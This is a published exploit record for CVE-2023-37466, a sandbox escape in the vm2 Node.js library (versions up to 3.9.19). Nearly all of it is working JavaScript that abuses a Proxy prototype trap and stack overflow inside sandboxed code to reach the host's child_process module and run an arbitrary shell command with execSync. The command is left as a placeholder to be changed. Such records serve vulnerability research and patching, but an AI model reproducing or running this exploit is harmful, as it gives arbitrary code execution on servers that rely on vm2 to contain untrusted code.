vm2 3.9.19 Sandbox Escape

`/*  
# Exploit Title: vm2 Sandbox Escape vulnerability  
# Date: 23/12/2023  
# Exploit Author: Calil Khalil & Adriel Mc Roberts  
# Vendor Homepage: https://github.com/patriksimek/vm2  
# Software Link: https://github.com/patriksimek/vm2  
# Version: vm2 <= 3.9.19  
# Tested on: Ubuntu 22.04  
# CVE : CVE-2023-37466  
*/  
  
const { VM } = require("vm2");  
const vm = new VM();  
  
const command = 'pwd'; // Change to the desired command  
  
const code = `  
async function fn() {  
(function stack() {  
new Error().stack;  
stack();  
})();  
}  
  
try {  
const handler = {  
getPrototypeOf(target) {  
(function stack() {  
new Error().stack;  
stack();  
})();  
}  
};  
  
const proxiedErr = new Proxy({}, handler);  
  
throw proxiedErr;  
} catch ({ constructor: c }) {  
const childProcess = c.constructor('return process')().mainModule.require('child_process');  
childProcess.execSync('${command}');  
}  
`;  
  
console.log(vm.run(code));  
  
`